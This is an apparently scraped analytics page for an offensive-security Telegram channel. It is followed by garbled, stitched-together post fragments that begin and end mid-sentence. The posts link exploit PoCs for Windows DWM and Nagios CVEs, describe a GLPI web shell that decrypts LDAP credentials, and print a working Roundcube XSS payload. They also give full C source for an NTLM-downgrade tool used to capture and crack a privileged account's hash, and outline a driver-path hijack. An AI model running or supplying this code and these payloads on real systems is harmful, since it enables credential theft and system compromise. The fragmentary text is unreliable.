APT
This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat
Show more📈 Analytical overview of Telegram channel APT
Channel APT (@apt_notes) in the English language segment is an active participant. Currently, the community unites 16 291 subscribers, ranking 7 779 in the Technologies & Applications category and 40 481 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 16 291 subscribers.
According to the latest data from 02 September, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 534 over the last 30 days and by 6 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 53.11%. Within the first 24 hours after publication, content typically collects N/A% reactions from the total number of subscribers.
- Post reach: On average, each post receives 8 642 views. Within the first day, a publication typically gains 0 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 13.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“This channel discusses:
— Offensive Security
— RedTeam
— Malware Research
— OSINT
— etc
Disclaimer:
t.me/APT_Notes/6
Chat Link:
t.me/APT_Notes_PublicChat”
Thanks to the high frequency of updates (latest data received on 03 September, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
CCommandBuffer::Initialize method, triggered by a miscalculation during memory allocation.
🖥 Affected versions
— Windows 10: 1507, 1607, 1809, 21H2, 22H2
— Windows 11: 21H2, 22H2, 23H2
— Windows Server: 2016, 2019, 2022
🔗 Source:
https://github.com/fortra/CVE-2024-30051
#windows #eop #dwm #research #pocmonitoringwizard.php component, allowing authenticated SQL injection (CVE-2024-24401) that lets attackers create an admin account and remote code execution.
🔗 Source:
https://github.com/MAWK0235/CVE-2024-24401
#nagios #sql #rce #privesc #poc #exploitComTraveller/PermissionHunter
- ComTraveller - анализ всех COM на системе на предмет наличия TypeLib, значения ключа Runas (The Interactive User или NT AUTHORITY\SYSTEM ведет к LPE), а также возможности кросс-сессионной активации, как было в LeakedWallpaper
Так вы можете несколько автоматизировать процесс обнаружения мисконфигов в COM :)
Помимо того, там есть небольшой трюк по получению PID процесса, в котором инстанцирован COM-класс, что позволяет исследовать COMы с новой стороны
А если бы я релизнул это чуть раньше, то кто-нибудь точно нашел CVE-2024-38100 (FakePotato) и CVE-2024-38061 (SilverPotato) 🤪+ Example of a GLPI web shell for accessing hidden variables and credentials, which can be useful when GLPI is connected to Active Directory via LDAP. This can help gather credentials of privileged users. While GLPI encrypts these credentials in the database, a web shell can access, decrypt, and display them.
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar"> Foo </body>🔗 Source: https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail #roundcube #xss #cve #poc
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // для функции sleep
void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Ошибка чтения ключа реестра.\n");
}
}
void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Ошибка записи ключа реестра.\n");
}
}
void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}
void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}
int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;
ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);
// Задержка 60 секунд
sleep(60);
NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
return 0;
}
Компилируем так
x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c
В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users. 1) ISO Mounting and Driver Selection
1.1) The attack begins with mounting the ISO as a filesystem.
1.2) The attacker selects a service driver that can be manipulated, focusing on those that can be started or restarted without immediate detection.
2) Hijacking the Driver Path
2.1) The core of the attack involves hijacking the driver path. The methods used include:
2.2) Direct Reparse Point Abuse
2.3) DosDevice Global Symlink Abuse
2.4) Drive Mountpoint Swap